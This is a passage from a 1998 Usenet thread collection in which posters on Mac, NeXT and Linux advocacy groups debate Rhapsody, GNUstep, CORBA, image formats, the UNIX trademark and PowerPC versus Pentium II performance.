often than not, new programmers mix the business logic and GUI code in
the form file, making it harder to see where code can be re-used. After
working in these tools for a while, a skilled developer learns to avoid
this by putting business logic into a different .bas of .pas files. It
takes an asserted effort to keep the GUI code from cluttering the logic.
The model-controller-view paradigm used by OpenStep is much nicer. The
GUI parts have *no code* in them. All the code that the implements the
business logic is in the "controllers", that are "plug and socket" linked
to the GUI parts. It is often much easier to reuse these controllers with
other GUI part than it would be if the GUI code was mixed in with it.
The true value of this shows up on the *second* project you build with
it. (and the third and forth...)
A comparison of VB or Delphi with OpenStep for NT development might
make for a nice StepWise article. Any interest?
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: Kenneth R. Kinder <Ken@_$spamless$_KenAndTed.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 5 Apr 1998 17:39:50 GMT
Organization: Dimensional Communications
Sender: Kinder Robert <kinders@flatland.dimensional.com>
Message-ID: <6g8fl6$la7$1@quasar.dimensional.com>
References: <199801202218001457904@ppp8.hol.fr> <34FAD56E.F4B08F27@markelcorp.com> <6dfoc4$3o0$1@quasar.dimensional.com> <slrn6fn71t.cnk.sal@panix3.panix.com> <6ffdae$4qq$1@quasar.dimensional.com> <slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fnt3g$r69$1@news.cs.tu-berlin.de> <6fva58$6th$1@quasar.dimensional.com> <slrn6i8057.kjl.sal@panix3.panix.com> <6g6f8i$atu$2@quasar.dimensional.com> <slrn6ife6g.dbp.sal@panix3.panix.com>
User-Agent: tin/pre-1.4-980105 (UNIX) (SunOS/4.1.4 (sun4m))
In comp.os.linux.advocacy , article <slrn6ife6g.dbp.sal@panix3.panix.com> , Salvatore Denaro <sal@panix3.panix.com> wrote:
>>>> Watch out for Gnome in about five years guys... :) We're genna build one
>>>> hell (excuse me) of a GUI/API desktop!
>>> Tell me when its done, I'll take a look.
>> You can get on the announce list at http://www.gnome.org/ . It's currently
>> in Alpha, so you'll have some time to watch it develop (assuming you really
>> are interested). I expect by this time next year, it'll be beta at least.
> I do watch this stuff, and I am interested.
Well, so do I. Next time I get some serious slacktime, I'll probably look
into contributing to gnome...
>>> I see no reason to think that they will remove the CLI functions. The most
>>> likely scenario is that they will build GUI tools for the existing CLI
>>> commands and leave the CLI alone.
>> We'll see...
> The changes between DR1 and DR2 might be a very good indecation of where it
> is going.
>> Point taken; NS was Jobs' second GUI OS (and I must say, far better than the
>> first).
> And Rhapsody is going to be the third.
Depends. Being CEO is a lot of work, and I don't know how much time Jobs
will really be able to spend on software engineering. Anyway, Apple did
obtain a few good engineers with that NeXT purchase. If they do things
right, they'll abandon their old MacOS code, and only do emulation of it in
Rhapsody. If they make a huge blunder, Rhapsody will either never ber
released, never be marketted, or be dropped too soon after release.
>>> PDO is an Apple/NeXT product and it is Obj-C exclusive, AFAIK. I doubt that
>>> I ever claimed that "distributed objects" are exclusive to Obj-C.
>> It sounded like that to me...
> Go and find that article. If I clearly made it sound like distributed objects
> are exclusive to Obj-C, I'll post an apology.
Finding that article is too hard. You saying now that distributed objects,
as an abstraction, aren't Objective-C exclusive, it's enough for me.
>> Anyway, it really doesn't matter. The thing is, most posts you've made that
>> have been follow-ups to me have been totally mindless flames in my not all
>> that humble opinion. If you keep making reasonible posts like this one, I
>> think you and I could get along.
> That was almost a complement. :)
It's whatever it is...
> Mindless flames? Is it a mindless flame to point out holes in your
> arguments?
From time to time, I'm misinformed and my arguments don't make sense
(PostScript licensing comes to mind)... There's a big difference between
"name calling" and counter-arguments.
--
H3C-N--C=N | Kenneth R. Kinder, aka Bouncing "code=caffiene*hours"
\==/ | Ken@KenAndTed.com http://www.KenAndTed.com/KensBookmark/
O=<__>N-C3H |
H3C-N \\O | Ken & Ted's Software
_________________| http://www.KenAndTed.com/ Software@KenAndTed.com
From: Kenneth R. Kinder <Ken@_$spamless$_KenAndTed.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 5 Apr 1998 17:45:00 GMT
Organization: Dimensional Communications
Sender: Kinder Robert <kinders@flatland.dimensional.com>
Message-ID: <6g8fus$la7$2@quasar.dimensional.com>
References: <199801202218001457904@ppp8.hol.fr> <6dfoc4$3o0$1@quasar.dimensional.com> <slrn6fn71t.cnk.sal@panix3.panix.com> <6ffdae$4qq$1@quasar.dimensional.com> <slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fmtdo$qr7$1@quasar.dimensional.com> <351f11d5.0@206.25.228.5> <6fvaev$6th$2@quasar.dimensional.com> <6g0ffj$k6c$3@anvil.BLaCKSMITH.com> <6g6fkq$atu$4@quasar.dimensional.com> <slrn6ifbqr.dbp.sal@panix3.panix.com>
User-Agent: tin/pre-1.4-980105 (UNIX) (SunOS/4.1.4 (sun4m))
In comp.os.linux.advocacy , article <slrn6ifbqr.dbp.sal@panix3.panix.com> , Salvatore Denaro <sal@panix3.panix.com> wrote:
> On 4 Apr 1998 23:27:22 GMT, Kenneth R. Kinder <Ken@_$spamless$_KenAndTed.com> wrote:
>>> You are free to contribute to the GNUstep project.
>>> You are also free to contribute to the MiscKit.
>> MiscKit? What that be?
> http://www.misckit.com/
> The misckit is a collection of user supported code that can be freely used
> by developers working on NS/OS. There is a FAQ on the site with more info.
> NeXT has given code to them in the past. (3dkit and indexingkit)
I took a look at the page. It looks interesting, and from the sound of it,
much of it good be used on GNUStep, perhaps?
Odd how in the FAQ, there wasn't anything about GNUStep...
--
H3C-N--C=N | Kenneth R. Kinder, aka Bouncing "code=caffiene*hours"
\==/ | Ken@KenAndTed.com http://www.KenAndTed.com/KensBookmark/
O=<__>N-C3H |
H3C-N \\O | Ken & Ted's Software
_________________| http://www.KenAndTed.com/ Software@KenAndTed.com
From: Kenneth R. Kinder <Ken@_$spamless$_KenAndTed.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 5 Apr 1998 22:23:44 GMT
Organization: Dimensional Communications
Sender: Kinder Robert <kinders@flatland.dimensional.com>
Message-ID: <6g909g$3cl$1@quasar.dimensional.com>
References: <199801202218001457904@ppp8.hol.fr> <6cisv6$kbn$2@quasar.dimensional.com> <6dbrd2$fn6$22@ironhorse.plsys.co.uk> <34FAD56E.F4B08F27@markelcorp.com> <6dfoc4$3o0$1@quasar.dimensional.com> <slrn6fn71t.cnk.sal@panix3.panix.com> <6ffdae$4qq$1@quasar.dimensional.com> <slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fnt3g$r69$1@news.cs.tu-berlin.de> <6g01p5$ed9$1@news.cs.tu-berlin.de> <6g6jrc$9j9$1@news.cs.tu-berlin.de>
User-Agent: tin/pre-1.4-980105 (UNIX) (SunOS/4.1.4 (sun4m))
In comp.os.linux.advocacy , article <6g6jrc$9j9$1@news.cs.tu-berlin.de> , Marcel Weiher <marcel@cs.tu-berlin.de> wrote:
> [...]
>>> RTF is a Microsoft standard. Again, NeXT picked something that was
>>> available, even if it came from the evil empire.
>> Yeah... Presently, I wouldn't have choosen RTF, but that's ok...
> What alternative rich text format would you have chosen?
It wasn't around then, but I would go with XML. There are lots of
possibilities: html, sgml, tex, ect...
>>> PNG is just a bitmap format (roughly equivalent to, but simpler than
>>> TIFF), EPS is for vectors + bitmaps + text. That said, filter
>>> services let the system treat just about any format (incl. PNG)
>>> just like a native data type.
>> Yes... and unlike GIF, it has no royalties.
> GIF is actually an extremely sucky graphics format, which is
> why I'm glad NeXT went with TIFF as the standard...
I take it you aren't aware that TIFF is nearly the same as GIF, as far as
LZW compression goes, and does require royalties?
> [...]
>> The thing is, I really am not that concerned about it. Why should I be? My
>> choice OS is Linux, and it does everything I want right now. I like the
>> direction it's been taking, and I like its license...
>> I don't see why I should invest in getting NS just for usenet discussion.
> Nobody is saying that you should. However, if you don't know
> anything about, don't go spouting off about it. Fair?
Fair. I'm only spouting off about the license, and that's something I have
reviewed.
>>>> I'm very familiar with distributed objects, as my last project I was working
>>>> on used DCOM extensivly.
>>> DCOM is nothing like the Next/Apple distributed objects system. Trust
>>> me.
>> DCOM isn't what it should be.
>> CORBA's my distributed objects system! :)
> CORBA is actually pretty cool, at least it seemed to be when
> I looked into it a couple of years ago. What bugs me is
> how complex it is despite the fact that it doesn't really
> do a lot. (Unlike DCOM though, it doesn't actively get
> in your way...). Anyway, does CORBA support object migration
> now? I haven't really kept up with it.
I'm not sure what you mean by object migration?
> DO is a lot like CORBA except that it has always been fully
> dynamic and it only takes about 2 seconds to learn.
Don't really know enough to comment one way or another. I'm Corba because
Gnome went with Corba ( http://www.gnome.org/ ).
--
H3C-N--C=N | Kenneth R. Kinder, aka Bouncing "code=caffiene*hours"
\==/ | Ken@KenAndTed.com http://www.KenAndTed.com/KensBookmark/
O=<__>N-C3H |
H3C-N \\O | Ken & Ted's Software
_________________| http://www.KenAndTed.com/ Software@KenAndTed.com
From: Kenneth R. Kinder <Ken@_$spamless$_KenAndTed.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 5 Apr 1998 22:24:21 GMT
Organization: Dimensional Communications
Sender: Kinder Robert <kinders@flatland.dimensional.com>
Message-ID: <6g90al$3cl$2@quasar.dimensional.com>
References: <199801202218001457904@ppp8.hol.fr> <6dbrd2$fn6$22@ironhorse.plsys.co.uk> <34FAD56E.F4B08F27@markelcorp.com> <6dfoc4$3o0$1@quasar.dimensional.com> <slrn6fn71t.cnk.sal@panix3.panix.com> <6ffdae$4qq$1@quasar.dimensional.com> <slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fnt3g$r69$1@news.cs.tu-berlin.de> <6g01p5$ed9$1@news.cs.tu-berlin.de> <6g6jrc$9j9$1@news.cs.tu-berlin.de> <joe.ragosta-0504980729350001@elk75.dol.net>
User-Agent: tin/pre-1.4-980105 (UNIX) (SunOS/4.1.4 (sun4m))
In comp.os.linux.advocacy , article <joe.ragosta-0504980729350001@elk75.dol.net> , Joe Ragosta <joe.ragosta@dol.net> wrote:
>>> Yes... and unlike GIF, it has no royalties.
>> GIF is actually an extremely sucky graphics format, which is
>> why I'm glad NeXT went with TIFF as the standard...
> One question. It's easy to make a transparent GIF. Can TIFF handle the
> same feature? I always thought that transparency was one of GIF's
> novelties.
Transparencies, and alpha levels actually...
--
H3C-N--C=N | Kenneth R. Kinder, aka Bouncing "code=caffiene*hours"
\==/ | Ken@KenAndTed.com http://www.KenAndTed.com/KensBookmark/
O=<__>N-C3H |
H3C-N \\O | Ken & Ted's Software
_________________| http://www.KenAndTed.com/ Software@KenAndTed.com
From: Kenneth R. Kinder <Ken@_$spamless$_KenAndTed.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 5 Apr 1998 22:30:00 GMT
Organization: Dimensional Communications
Sender: Kinder Robert <kinders@flatland.dimensional.com>
Message-ID: <6g90l8$3cl$3@quasar.dimensional.com>
References: <199801202218001457904@ppp8.hol.fr> <34CF6517.1B6E@nstar.net> <6bfhf2$ad2$1@ns3.vrx.net> <adtEnzKxA.3Ar@netcom.com> <slrn6e47bo.75j.jstevens@samoyed.ftc.nrcs.usda.gov> <adtEo8tD0.E96@netcom.com> <6cfpv7$m7j$4@quasar.dimensional.com> <34EC33CE.2CC99899@markelcorp.com> <forrestDELETE-THIS!-2302982253030001@term4-25.vta.west.net>
User-Agent: tin/pre-1.4-980105 (UNIX) (SunOS/4.1.4 (sun4m))
In comp.os.linux.advocacy , article <forrestDELETE-THIS!-2302982253030001@term4-25.vta.west.net> , Forrest Cameranesi <forrestDELETE-THIS!@west.net> wrote:
>> > > : IOW, why pay for Rhapsody when you can get Linux+GNUstep *AND* freedom?
> The same reason someone would get a Mac instead of [anyting else] - the UE.
> IMO the #1 best thing about the Mac. Notice, not just U*I*, but U*E*. User
> Experiance. That includes UI, hardware integrating, the general
> hassle-free experiance that comes from using a Mac (there are exceptions,
> which I'm sure some Wintel FUDster will cite). Yes, freedom on the side
> would be nice, but I - being a non programmer - am more than happy having
> other people write the code for me. However, I do acknowledge that were it
> a free (in the GNU/Linux/FSF sense of the term) OS then there would be
> more programmers working on it and hence more bugs would get fixed faster,
> but I'm happy right now, and while I would appreciate being more happy, I
> don't want to lose what is making me happy right now.
Take note that GNUStep and NextStep would have a GUI with the same
architecture...
--
H3C-N--C=N | Kenneth R. Kinder, aka Bouncing "code=caffiene*hours"
\==/ | Ken@KenAndTed.com http://www.KenAndTed.com/KensBookmark/
O=<__>N-C3H |
H3C-N \\O | Ken & Ted's Software
_________________| http://www.KenAndTed.com/ Software@KenAndTed.com
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.unix.advocacy
From: rshwake@rsxtech.atww.org (Raymond N Shwake)
Subject: Re: When will Unix be free?
Message-ID: <Eqynrq.7GJ@rsxtech.atww.org>
Date: Sun, 5 Apr 1998 21:59:50 GMT
References: <xohen0roj2o.fsf_-_@dux.raex.com> <6fr8s6$59j$1@interport.net> <ehg4da6wa.fsf_-_@gate.lustig.com> <6B6FFF7C80027804.D8A9C54CA33BADC9.4EB0E9D843E54B64@library-proxy.airnews.net> <6fut5f$115$1@jetsam.uits.indiana.edu> <352304A2.2427@i2020.net> <6g0ft9$k6c$5@anvil.BLaCKSMITH.com>
Organization: RSX Technical Services
Charles Swiger <chuck@blacksmith.com> writes:
>Curtis Bass <cndbass@i2020.net> wrote:
>> Gregory Loren Hansen wrote:
>>> I know, someone is bound to pipe up and say Linux isn't a Unix because it
>>> doesn't have the right pedigree. But it looks like a Unix, walks like a
>>> Unix, quacks like a Unix, and it's widely supported for a Unix, and it's
>>> free.
>>
>> Well, the real reason it can't be called UNIX is simply because the Open
>> Group has the rights to the UNIX name, and *they* decide what is and
>> isn't UNIX. Even FreeBSD (which is a direct decendant of Berkely BSD
>> 4.x UNIX) cannot be called "UNIX" for this reason.
>It can't be called UNIX(tm), as in the trademark reference, agreed.
>Linux is a Unix, using the term as a class reference describing a series of
>related operating systems.
UNIX is not just a TradeMark (TM), but a *registered* trademark (R).
Perhaps you call a Ricoh copier a Xerox (R) machine, or your PUFFS tissue a
Kleenex (R), but in each case you're violating legal rights. Yes, we all
do it, but a "class reference" has no validity where trademark law is
concerned.
From: trev@sc.edu (Trevor Zion Bauknight)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody being scrapped? What's up with this?
Date: Sun, 05 Apr 1998 14:40:31 -0500
Organization: Metaphysical Bunko Squad
Message-ID: <trev-0504981440310001@nas-sa-p4.usc.net>
References: <slrn6hid19.2bd.sal@panix3.panix.com> <B14406C9-42E38@158.152.49.144> <slrn6i2i39.a5o.sal@panix3.panix.com> <6ft630$kkr$1@nnrp1.dejanews.com> <slrn6i6f4f.j6l.sal@panix3.panix.com> <joe.ragosta-0404980706540001@elk71.dol.net> <slrn6ifbd2.dbp.sal@panix3.panix.com>
In article <slrn6ifbd2.dbp.sal@panix3.panix.com>, sal@panix3.panix.com
(Salvatore Denaro) wrote:
> ASAP would be more than appropriate. With 400mhz PIIs just around the
> corner, Apple will have to lower its prices to stay competitive.
So you're convinced the 400MHz PII machines will be pretty cheap? Not
this year...maybe next. The G3s already represent a great deal of
performance for not a lot of money. My fear is that a lot of people will
see intel's release of the 400s as a meaningful response to Apple's
advertising the superior speed of its chips. When will people start to
see through the MHz bs as a barometer of performance? The Apple ads, if
anything, combat this misapprehension; but will they be enough to overcome
intel marketing hype?
Trev
--
http://www.uscsu.sc.edu/~tzbaukni
trev@sc.eduEATMOSPAM (unmunge)
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody for the Open minded
Message-ID: <maury-0504982025190001@ts62-16.tor.istar.ca>
References: <maury-0404982011350001@ts65-02.tor.istar.ca> <B14D5D96-D01AE@206.165.43.14>
Organization: Atria Software
Date: Mon, 06 Apr 1998 00:23:37 GMT
NNTP-Posting-Date: Sun, 05 Apr 1998 20:23:37 EST
In article <B14D5D96-D01AE@206.165.43.14>, "Lawson English"
<english@primenet.com> wrote:
> Um, this is odd, because this is exactly what GX glyphs do when converted
> from GX layout shapes using the GXPrimitiveShape call. This is documented
> in Dan's article.
A fact that never came up in the conversation earlier.
> I think that there is more missing that that.
Perhaps, but I don't see anything else obvious.
> Excuse? MouseTracking IS handled by GX.
Sigh, of course it is.
> viewport. You have to use the GX mouse-tracking API yourself, but I can't
> believe that that is what you meant.
It isn't.
> Possibly once the algorithms have been devised...
Buy a copy of Graphics Gems.
>> I can see no difference at all, and I'd like you to demonstrate one.
> Dan's article claims that there are.
I see no such claim, except for the seeminly misleading portion I noted later.
> > Which is exactly what the PS ones do with NSString!
>
> Not for fonts for which NSString doesn't contain the algorithms
Sigh. Proving once again you have _no_idea_ what I'm talking about. Of
COURSE it doesn't. It's not supposed to, that's the task of other
portions of the library.
> > Thank Dan for me.
>
> He's reading this.
Good.
> ??? Don explicitly says that he is using the GXPrimitiveShape to convert
> the layout to a glphy shape. Not sure where this idea that he isn't using
> the glyph shape comes from.
Sigh. Glyph-shape is the path. Re-read my post.
> Are you familiar with how GX text and graphics hittesting work? I'm not
> familiar with MiscHitPath. Does it do all the things that GX hittesting
> does?
Who cares? What does GX's hit testing have to do with text on a curve
under DPS?
> How does the selection look?
Any way you want it to. Let's use polka-dots.
> Does any of the available libraries in Rhapsody handle skewed or 3D
> perspective hittesting and text-rendering for use in a standard 2D DTP app
> like FreeHand?
Sigh. What does this have to do with text-on-a-curve?
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Message-ID: <maury-0504982030410001@ts62-16.tor.istar.ca>
References: <199801202218001457904@ppp8.hol.fr> <6bunvs$btf$1@ns3.vrx.net> <6cisv6$kbn$2@quasar.dimensional.com> <6dbrd2$fn6$22@ironhorse.plsys.co.uk> <34FAD56E.F4B08F27@markelcorp.com> <6dfoc4$3o0$1@quasar.dimensional.com> <slrn6fn71t.cnk.sal@panix3.panix.com> <6ffdae$4qq$1@quasar.dimensional.com> <slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fnt3g$r69$1@news.cs.tu-berlin.de> <6g01p5$ed9$1@news.cs.tu-berlin.de> <6g6jrc$9j9$1@news.cs.tu-berlin.de> <joe.ragosta-0504980729350001@elk75.dol.net>
Organization: Atria Software
Date: Mon, 06 Apr 1998 00:28:59 GMT
NNTP-Posting-Date: Sun, 05 Apr 1998 20:28:59 EST
In article <joe.ragosta-0504980729350001@elk75.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> One question. It's easy to make a transparent GIF. Can TIFF handle the
> same feature? I always thought that transparency was one of GIF's
> novelties.
Works great actually.
Maury
From: spagiola@usa.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: Sun, 05 Apr 1998 17:54:42 -0600
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6g923i$h2l$1@nnrp1.dejanews.com>
References: <199801202218001457904@ppp8.hol.fr> <6cisv6$kbn$2@quasar.dimensional.com> <6dbrd2$fn6$22@ironhorse.plsys.co.uk> <34FAD56E.F4B08F27@markelcorp.com> <6dfoc4$3o0$1@quasar.dimensional.com> <slrn6fn71t.cnk.sal@panix3.panix.com> <6ffdae$4qq$1@quasar.dimensional.com> <slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fnt3g$r69$1@news.cs.tu-berlin.de> <6fva58$6th$1@quasar.dimensional.com> <slrn6i8057.kjl.sal@panix3.panix.com> <6g6f8i$atu$2@quasar.dimensional.com> <slrn6ife6g.dbp.sal@panix3.panix.com>
sal@panix3.panix.com (Salvatore Denaro) wrote:
> > Point taken; NS was Jobs' second GUI OS (and I must say, far
> > better than the first).
>
> And Rhapsody is going to be the third.
True. But that doesn't mean it'll necessarily be better. Whereas with the
second (ie NeXTSTEP), they were able to start with a blank slate and come up
with the best UI they could, in the case of the third they are very much
constrained by the need to accomodate the legacy Mac users. And it is
well-known that imposing constraints on something never makes something
better.
Stefano Pagiola
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows 95/NT user, future
Rhapsody user
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: jayfar@netaxs.com (Jayfar)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.unix.advocacy
Subject: Re: When will Unix be free?
Date: Sun, 05 Apr 1998 19:57:58 -0400
Organization: Jayfar's Original Virtual Macintosh
Message-ID: <jayfar-0504981957590001@downtown1-2.slip.netaxs.com>
References: <xohen0roj2o.fsf_-_@dux.raex.com> <6fr8s6$59j$1@interport.net> <ehg4da6wa.fsf_-_@gate.lustig.com> <6B6FFF7C80027804.D8A9C54CA33BADC9.4EB0E9D843E54B64@library-proxy.airnews.net> <6fut5f$115$1@jetsam.uits.indiana.edu> <352304A2.2427@i2020.net> <6g0ft9$k6c$5@anvil.BLaCKSMITH.com> <Eqynrq.7GJ@rsxtech.atww.org>
Mail-Copies-To: jayfar@netaxs.com
In article <Eqynrq.7GJ@rsxtech.atww.org>, rshwake@rsxtech.atww.org
(Raymond N Shwake) wrote:
| Charles Swiger <chuck@blacksmith.com> writes:
|
| >Curtis Bass <cndbass@i2020.net> wrote:
| >> Gregory Loren Hansen wrote:
| >>> I know, someone is bound to pipe up and say Linux isn't a Unix because it
| >>> doesn't have the right pedigree. But it looks like a Unix, walks like a
| >>> Unix, quacks like a Unix, and it's widely supported for a Unix, and it's
| >>> free.
| >>
| >> Well, the real reason it can't be called UNIX is simply because the Open
| >> Group has the rights to the UNIX name, and *they* decide what is and
| >> isn't UNIX. Even FreeBSD (which is a direct decendant of Berkely BSD
| >> 4.x UNIX) cannot be called "UNIX" for this reason.
|
| >It can't be called UNIX(tm), as in the trademark reference, agreed.
|
| >Linux is a Unix, using the term as a class reference describing a series of
| >related operating systems.
|
| UNIX is not just a TradeMark (TM), but a *registered* trademark (R).
| Perhaps you call a Ricoh copier a Xerox (R) machine, or your PUFFS tissue a
| Kleenex (R), but in each case you're violating legal rights. Yes, we all
| do it, but a "class reference" has no validity where trademark law is
| concerned.
Although if a trademark, registered or not, comes into near universal
usage as a generic term, it can lose its trademark protection completely.
That's why, for many years, Xerox has run full page print ads reminding us
all that Xerox is a registered trademark and should never be used to
describe other than genuine Xerox products.
Cheers,
Jayfar
--
Jay Farrell Jayfar's Original Virtual Macintosh
jayfar@netaxs.com * Your Favorite Mac Site * Now Updated Daily *
Philadelphia, USA <URL:http://www.netaxs.com/~jayfar/live.desk.html>
Jayfar's APPLE DOOMSDAY CLOCK <URL:http://www.netaxs.com/~jayfar/>
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy
Date: 5 Apr 1998 21:05:18 GMT
Organization: P & L Systems
Message-ID: <6g8rme$fhe$5@ironhorse.plsys.co.uk>
References: <1d6ypom.15zt3iv167fzdaN@phoenix89.wco.com> <B14D356F-39292@206.165.43.14>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: english@primenet.com
NOTE: FOLLOWUPS TO COMP.SYS.MAC.ADVOCACY,COMP.SYS.NEXT.ADVOCACY
In <B14D356F-39292@206.165.43.14> "Lawson English" wrote:
>
> Mike Paquette wrote:
> > Subclass NSButton, and override the drawing routine to use whatever you
> > want. It's totally wide open. Write a NSButton subclass once that uses
> > your GX shape, put it on a palette, and resell it. Hey, fame and
> > fortune!
>
> 1) GX shapes aren't in Rhapsody
> 2) why does one need to override something to change the shape of a button?
>
Umm, it's the standard way of doing things in OOP.
> If one had a subclass of NSButton & company that could use a set of
> well-defined graphics shapes, one could implement what I'm talking about
> without any overriding -just change the graphical shape-object used as a
> frame for the button.
>
That's what Mike just said.
> You don't even need genuine OOP for this, and such a
> strategy would make user-editable buttons much easier to work with,
> especially on a system-wide basis.
>
Genuine OOP would make this a lot easer,
OTOH, why do we want user-editable buttons (outside of a development
environment)?
Best wishes,
mmalc.
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.powerpc.tech,comp.sys.next.advocacy
Subject: Re: PowerPC with 100 MHz bus
Date: 6 Apr 1998 03:55:15 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6igkh3.qlh.sal@panix3.panix.com>
References: <6fbvpe$l63@newsb.netnews.att.com> <tim-2503982101370001@jump-k56flex-0183.jumpnet.com> <6fib8g$lun$1@vixen.cso.uiuc.edu> <handleym-3003981345140001@handma.apple.com> <6g9dgd$o66@mozo.cc.purdue.edu>
On 6 Apr 1998 02:09:17 GMT, Your Name <pomart@cartoon.ecn.purdue.edu> wrote:
>handleym@apple.com (Maynard Handley) writes:
>
>Actually IBM and Intel have just developed
>good memory that runs at 100Mhz well.
>
Isn't there a type of RamBus memory that runs at 200mhz and greater?
Intel has stated that Merced chipsets will make use of RamBus memory.
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody being scrapped? What's up with this?
Date: 6 Apr 1998 03:59:31 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6igkp3.qlh.sal@panix3.panix.com>
References: <slrn6hid19.2bd.sal@panix3.panix.com> <B14406C9-42E38@158.152.49.144> <slrn6i2i39.a5o.sal@panix3.panix.com> <6ft630$kkr$1@nnrp1.dejanews.com> <slrn6i6f4f.j6l.sal@panix3.panix.com> <joe.ragosta-0404980706540001@elk71.dol.net> <slrn6ifbd2.dbp.sal@panix3.panix.com> <trev-0504981440310001@nas-sa-p4.usc.net>
On Sun, 05 Apr 1998 14:40:31 -0500, Trevor Zion Bauknight <trev@sc.edu> wrote:
>In article <slrn6ifbd2.dbp.sal@panix3.panix.com>, sal@panix3.panix.com
>(Salvatore Denaro) wrote:
>> ASAP would be more than appropriate. With 400mhz PIIs just around the
>> corner, Apple will have to lower its prices to stay competitive.
>So you're convinced the 400MHz PII machines will be pretty cheap?
I am convinced that they will lower the cost of slower PII machines.
> Not
>this year...maybe next. The G3s already represent a great deal of
>performance for not a lot of money.
So apple should not try to improve?
> My fear is that a lot of people will
>see intel's release of the 400s as a meaningful response to Apple's
>advertising the superior speed of its chips.
People already see it that way. IBM power2 and power3 machines get
Alpha-like specmarks with 1/4 or less of the mhz, yet they are ignored
in most chip benchmark reports. They just don't seem sexy enough.
Most non-techs understand how brute force works, they don't understand
how good design works.
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 6 Apr 1998 04:05:03 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6igl3f.qlh.sal@panix3.panix.com>
References: <199801202218001457904@ppp8.hol.fr> <34FAD56E.F4B08F27@markelcorp.com> <6dfoc4$3o0$1@quasar.dimensional.com> <slrn6fn71t.cnk.sal@panix3.panix.com> <6ffdae$4qq$1@quasar.dimensional.com> <slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fnt3g$r69$1@news.cs.tu-berlin.de> <6fva58$6th$1@quasar.dimensional.com> <slrn6i8057.kjl.sal@panix3.panix.com> <6g6f8i$atu$2@quasar.dimensional.com> <slrn6ife6g.dbp.sal@panix3.panix.com> <6g8fl6$la7$1@quasar.dimensional.com>
On 5 Apr 1998 17:39:50 GMT, Kenneth R. Kinder <Ken@_$spamless$_KenAndTed.com> wrote:
>>> Point taken; NS was Jobs' second GUI OS (and I must say, far better than the
>>> first).
>> And Rhapsody is going to be the third.
>
>Depends. Being CEO is a lot of work, and I don't know how much time Jobs
>will really be able to spend on software engineering.
With any luck, as little as possible. Jobs is not a tech, he just understands
them very well.
> Anyway, Apple did
>obtain a few good engineers with that NeXT purchase.
More than just a few.
> If they do things
>right, they'll abandon their old MacOS code, and only do emulation of it in
>Rhapsody. If they make a huge blunder, Rhapsody will either never ber
